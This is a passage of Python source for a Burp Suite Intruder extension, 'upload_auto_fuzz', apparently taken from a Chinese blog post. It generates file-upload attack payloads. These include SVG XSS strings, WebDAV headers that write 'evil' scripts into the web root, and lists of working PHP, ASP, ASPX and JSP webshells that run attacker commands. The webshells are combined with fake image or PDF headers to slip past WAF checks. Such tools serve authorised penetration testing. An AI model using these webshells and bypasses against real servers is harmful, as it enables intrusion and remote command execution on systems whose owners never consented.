            content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SVG).group(0)
            
            # 基本SVG XSS载荷
            svg_payloads = [
                '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
                '<svg xmlns="http://www.w3.org/2000/svg"><use href="data:image/svg+xml;base64,PHN2ZyBpZD0idGVzdCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+#test" /></svg>',
                '<svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="100" height="100" /></a></svg>'
            ]
            
            for payload in svg_payloads:
                svg_xss_payload.append(TEMP_TEMPLATE_SVG.replace(content_type_line, 
                                                              content_type_line + '\r\n' + payload))
        
        return svg_xss_payload

    def webdav_method_Fuzz():
        # WebDAV方法滥用
        webdav_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # 添加WebDAV相关头部和方法
            TEMP_TEMPLATE_WEBDAV = TEMP_TEMPLATE_SUFFIX
            webdav_headers = 'Destination: file:///var/www/html/evil.{}\r\nOverwrite: T\r\n'.format(each_suffix)
            
            if 'Content-Type:' in TEMP_TEMPLATE_WEBDAV:
                webdav_payload.append(TEMP_TEMPLATE_WEBDAV.replace('Content-Type:', 
                                                                 webdav_headers + 'Content-Type:'))
        
        return webdav_payload

    def file_content_bypass_Fuzz():
        # 文件内容检测绕过
        content_bypass_payload = []
        
        # 获取HTTP请求中的原始文件内容部分
        original_content_match = re.search(r'Content-Type:.*?\r\n\r\n(.*?)(?:\r\n-{10,})', TEMPLATE, re.DOTALL)
        original_content = ""
        if original_content_match:
            original_content = original_content_match.group(1)
            # 找到包含原始内容的请求部分
            content_part = original_content_match.group(0)
        else:
            # 如果找不到内容部分,就使用普通方式
            content_part = None
        
        # PHP WebShell内容变种
        php_contents = [
            '<?php eval($_POST["cmd"]); ?>',
            '<?php system($_REQUEST["cmd"]); ?>',
            '<?= `$_GET[0]`; ?>',  # 短标签语法
            '<?php $_GET[a](base64_decode($_GET[b])); ?>',  # 动态函数调用
            '<?php $a=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);$a($_POST[x]); ?>',  # 字符拼接绕过
            '<?php include $_GET["file"]; ?>',  # 文件包含
            '<?php preg_replace("/.*/e",base64_decode($_POST["x"]),""); ?>',  # preg_replace代码执行
            '<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?php ${$_}[_]($_POST[x]);?>',  # 无字母数字WebShell
            '<script language="php">eval($_POST["cmd"]);</script>'  # 使用script标签
        ]
        
        # ASP WebShell内容变种
        asp_contents = [
            '<%eval request("cmd")%>',  # 基本ASP WebShell
            '<%execute request("cmd")%>',  # 使用execute函数
            '<%response.write CreateObject("WScript.Shell").exec(request("cmd")).StdOut.ReadAll()%>',  # WScript.Shell
            '<%execute(request("cmd"))%>',  # 另一种写法
            '<%eval(Replace(chr(112)+chr(97)+chr(115)+chr(115),chr(112)+chr(97)+chr(115)+chr(115),request("cmd")))%>'  # 字符拼接
        ]
        
        # ASPX WebShell内容变种
        aspx_contents = [
            '<%@ Page Language="C#" %><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]);%>',
            '<%@ Page Language="C#" %><%eval(Request.Item["cmd"]);%>',
            '<%@ Page Language="C#" %><% System.IO.StreamWriter sw=new System.IO.StreamWriter(Request.Form["f"]);sw.Write(Request.Form["c"]);sw.Close(); %>',
            '<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>'
        ]
        
        # JSP WebShell内容变种
        jsp_contents = [
            '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
            '<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>',
            '<% out.println("Output: " + request.getParameter("cmd")); %>',
            '<%! public void jspInit(){ try{ java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }catch(Exception e){} } %>'
        ]
        
        # WAF绕过混淆技术
        waf_evasion_prefixes = [
            'GIF89a;\n',  # GIF文件头
            '#!MIME type image/gif\n',  # MIME类型注释
            '<!--\n', # HTML注释
            ';base64,\n',  # 伪装为Data URI
            'BM\n',  # BMP文件头
            '%PDF-1.5\n',  # PDF文件头
            'ID3\n'  # MP3文件头
        ]
        
        # 针对不同文件类型应用不同内容
        content_types = {
            'php': php_contents,
            'asp': asp_contents,
            'aspx': aspx_contents,
            'jsp': jsp_contents
        }
        
        for ext, contents in content_types.items():
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, ext)
            
            # 针对每种内容变体
            for content in contents[:2]:  # 限制每种类型使用2个变体
                if content_part and original_content:
                    # 替换原始内容而非附加 - 这是关键修改
                    new_content = content_part.replace(original_content, content)
                    content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content))
                    
                    # 添加WAF绕过前缀 - 现在替换原始内容
                    for prefix in waf_evasion_prefixes[:3]:
                        new_content_with_prefix = content_part.replace(original_content, prefix + content)
                        content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_prefix))
                    
                    # 尝试添加注释和换行绕过 - 也是替换原始内容
                    if ext == 'php':
                        new_content_with_comment = content_part.replace(original_content, "/*\n*/\n" + content)
                        content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_comment))
                        
                        new_content_with_newline = content_part.replace(original_content, content.replace("<?php", "<?php\n"))
                        content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_newline))
                    
                    # 对于ASP和ASPX的注释绕过 - 替换原始内容
                    if ext in ['asp', 'aspx']:
                        new_content_with_comment = content_part.replace(original_content, "<!-- -->" + content)
                        content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_comment))
                else:
                    # 如果找不到原始内容,保持原来的附加方式作为备份
                    content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX + "\r\n\r\n" + content)
        
        return content_bypass_payload

    # 调用所有Fuzz函数并合并结果
    suffix_payload = script_suffix_Fuzz()
    Content_Disposition_payload = CFF_Fuzz()
    content_type_payload = content_type_Fuzz()
    windows_payload = windows_features_Fuzz()
    linux_payload = linux_features_Fuzz()
    magic_bytes_payload = magic_bytes_Fuzz()
    content_trick_payload = file_content_trick_Fuzz()
    user_ini_payload = user_ini_Fuzz()
    mime_payload = mime_encoding_Fuzz()
    http_split_payload = http_protocol_split_Fuzz()
    chunked_payload = chunked_encoding_Fuzz()
    waf_bypass_payload = waf_bypass_Fuzz()
    unicode_payload = unicode_normalization_Fuzz()
    header_smuggling_payload = http_header_smuggling_Fuzz()
    null_byte_payload = null_byte_variations_Fuzz()
    protocol_payload = protocol_handler_Fuzz()
    svg_xss_payload = svg_xss_Fuzz()
    webdav_payload = webdav_method_Fuzz()
    file_content_bypass_payload = file_content_bypass_Fuzz()

    # 合并所有payload
    all_payloads = (suffix_payload + Content_Disposition_payload + content_type_payload + 
                   windows_payload + linux_payload + magic_bytes_payload + 
                   content_trick_payload + user_ini_payload + mime_payload + 
                   http_split_payload + chunked_payload + waf_bypass_payload +
                   unicode_payload + header_smuggling_payload + null_byte_payload +
                   protocol_payload + svg_xss_payload + webdav_payload +
                   file_content_bypass_payload)
    
    # 去除重复的payload
    unique_payloads = []
    seen_payloads = set()
    
    for payload in all_payloads:
        # 使用payload的字符串表示来判断是否重复
        payload_str = str(payload)
        if payload_str not in seen_payloads:
            seen_payloads.add(payload_str)
            unique_payloads.append(payload)
    
    return unique_payloads

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("upload_auto_fuzz")
        # 注册payload生成器
        callbacks.registerIntruderPayloadGeneratorFactory(self)
        print 'Load successful - auther:T3nk0\n'

    # 设置payload生成器名字,作为选项显示在Intruder UI中。
    def getGeneratorName(self):
        return "upload_auto_fuzz"

    # 创建payload生成器实例,传入的attack是IIntruderAttack的实例
    def createNewInstance(self, attack):
        return demoFuzzer(self, attack)

# 继承IIntruderPayloadGenerator类
class demoFuzzer(IIntruderPayloadGenerator):
    def __init__(self, extender, attack):
        self._extender = extender
        self._helpers = extender._helpers
        self._attack = attack
        self.num_payloads = 0  # payload使用了的次数
        self._payloadIndex = 0
        self.attackPayloads = [1]  # 初始化为非空列表,保持原始代码的方式

    # hasMorePayloads返回一个bool值,如果返回false就不在继续返回下一个payload,如果返回true就返回下一个payload
    def hasMorePayloads(self):
        # print "hasMorePayloads called."
        return self._payloadIndex < len(self.attackPayloads)

    # 获取下一个payload,然后intruder就会用该payload发送请求
    def getNextPayload(self, baseValue):
        # 将baseValue转换为字符串
        selected_area = "".join(chr(x) for x in baseValue)
        
        if self._payloadIndex == 0:
            # 检查是否选择了整个区域
            is_full_section = ('Content-Disposition:' in selected_area and 
                               ('filename=' in selected_area or 'filename="' in selected_area) and
                               'Content-Type:' in selected_area)
            
            if is_full_section:
                # 提取文件名和扩展名
                filename_match = re.search(r'filename="([^"]*)"', selected_area)
                if filename_match and '.' in filename_match.group(1):
                    original_filename = filename_match.group(1)
                    original_ext = original_filename.split('.')[-1]
                    
                    # 使用两种方法结合:
                    # 1. 专门为整个区域设计的payload
                    section_payloads = getFuzzPayloadsForFullSection(selected_area)
                    
                    # 2. 将原始的单个元素payload转换为整个区域payload
                    # 创建一个模板,稍后用于替换
                    template_area = selected_area
                    
                    # 基于original_ext生成标准的攻击payload
                    single_element_payloads = getAttackPayloads(
                        "Content-Disposition: form-data; name=\"uploaded\"; filename=\"test.{}\"\r\nContent-Type: text/plain".format(original_ext)
                    )
                    
                    # 转换单元素payload为整个区域payload
                    converted_payloads = []
                    for single_payload in single_element_payloads:
                        # 提取修改后的文件名和Content-Type
                        payload_filename = re.search(r'filename="([^"]*)"', single_payload)
                        payload_content_type = re.search(r'Content-Type: ([^\r\n]*)', single_payload)
                        
                        if payload_filename:
                            # 替换原始选中区域中的文件名
                            new_area = re.sub(
                                r'filename="[^"]*"', 
                                payload_filename.group(0), 
                                template_area
                            )
                            
                            # 如果Content-Type也变了,一并替换
                            if payload_content_type:
                                new_area = re.sub(
                                    r'Content-Type: [^\r\n]*', 
                                    'Content-Type: {}'.format(payload_content_type.group(1)), 
                                    new_area
                                )
                            
                            converted_payloads.append(new_area)
                    
                    # 合并两种payload集合并去重
                    all_payloads = section_payloads + converted_payloads
                    self.attackPayloads = list(set(all_payloads))  # 这种方式可能不适用于所有情况
                else:
                    # 如果没有找到文件名,只使用区域payload
                    self.attackPayloads = getFuzzPayloadsForFullSection(selected_area)
            else:
                # 使用原来的方法生成payload
                self.attackPayloads = getAttackPayloads(selected_area)
            
            # 去除重复的payload (更可靠的方法)
            unique_payloads = []
            seen_payloads = set()
            
            for payload in self.attackPayloads:
                # 使用payload的哈希值来判断是否重复
                payload_hash = hash(str(payload))
                if payload_hash not in seen_payloads:
                    seen_payloads.add(payload_hash)
                    unique_payloads.append(payload)
            
            self.attackPayloads = unique_payloads
            
            # 限制payload数量防止内存溢出
            if len(self.attackPayloads) > 1000:
                self.attackPayloads = self.attackPayloads[:1000]
            print "Generated %d unique payloads" % len(self.attackPayloads)

        payload = self.attackPayloads[self._payloadIndex]
        self._payloadIndex = self._payloadIndex + 1

        return payload

    # 清空,以便下一次调用 getNextPayload()再次返回第一个有效负载。
    def reset(self):
        # print "reset called."
        self._payloadIndex = 0
        return

def getFuzzPayloadsForFullSection(selected_area):
    # 为整个选中区域生成有效载荷
    full_section_payloads = []
    
    # 尝试提取文件名和内容部分
    filename_match = re.search(r'filename="([^"]*)"', selected_area)
    content_part_match = re.search(r'Content-Type:.*?\r\n\r\n(.*?)$', selected_area, re.DOTALL)
    
    if not filename_match or not content_part_match:
        # 如果找不到关键部分,返回空列表
        return [selected_area]  # 至少返回原始选择
    
    original_filename = filename_match.group(1)
    original_content = content_part_match.group(1)
    
    # 提取文件扩展名
    if '.' in original_filename:
        filename_suffix = original_filename.split('.')[-1]
    else:
        filename_suffix = ""
    
    # 为不同类型的文件准备WebShell内容
    webshell_contents = {
        'php': [
            '<?php eval($_POST["cmd"]); ?>',
            '<?php system($_REQUEST["cmd"]); ?>'
        ],
        'asp': [
            '<%eval request("cmd")%>',
            '<%execute request("cmd")%>'
        ],
        'aspx': [
            '<%@ Page Language="C#" %><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]);%>',
            '<%@ Page Language="C#" %><%eval(Request.Item["cmd"]);%>',
            '<%@ Page Language="C#" %><% System.IO.StreamWriter sw=new System.IO.StreamWriter(Request.Form["f"]);sw.Write(Request.Form["c"]);sw.Close(); %>',
            '<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>'
        ],
        'jsp': [
            '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
            '<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>',
            '<% out.println("Output: " + request.getParameter("cmd")); %>',
            '<%! public void jspInit(){ try{ java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }catch(Exception e){} } %>'
        ]
    }
    
    # WAF绕过前缀
    waf_bypass_prefixes = [
        'GIF89a;\n',
        '#!MIME type image/gif\n',
        '<!--\n',
        '%PDF-1.5\n'
    ]
    
    # 针对常见的可执行文件扩展名
    for ext in ['php', 'asp', 'aspx', 'jsp']:
        # 替换文件名
        new_area = selected_area.replace('filename="{}"'.format(original_filename), 
                                         'filename="shell.{}"'.format(ext))
        
        # 如果有对应的WebShell内容
        if ext in webshell_contents:
            for content in webshell_contents[ext][:2]:  # 每种类型限制2个变体
                # 完全替换原始内容
                if original_content:
                    new_area_with_content = re.sub(
                        r'Content-Type:.*?\r\n\r\n.*?$',
                        r'Content-Type: text/plain\r\n\r\n{}'.format(content),
                        new_area,
                        flags=re.DOTALL
                    )
                    full_section_payloads.append(new_area_with_content)
                    
                    # 使用WAF绕过前缀
                    for prefix in waf_bypass_prefixes:
                        new_area_with_prefix = re.sub(
                            r'Content-Type:.*?\r\n\r\n.*?$',
                            r'Content-Type: text/plain\r\n\r\n{}{}'.format(prefix, content),
                            new_area,
                            flags=re.DOTALL
                        )
                        full_section_payloads.append(new_area_with_prefix)
    
    # 去除重复的payload
    unique_payloads = []
    seen_payloads = set()
    
    for payload in full_section_payloads:
        payload_str = str(payload)
        if payload_str not in seen_payloads:
            seen_payloads.add(payload_str)
            unique_payloads.append(payload)
    
    return unique_payloads

 

© 版权声明
THE END
喜欢就支持一下吧
点赞139 分享
评论 抢沙发
头像
超级会员可评论
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    请登录后查看评论内容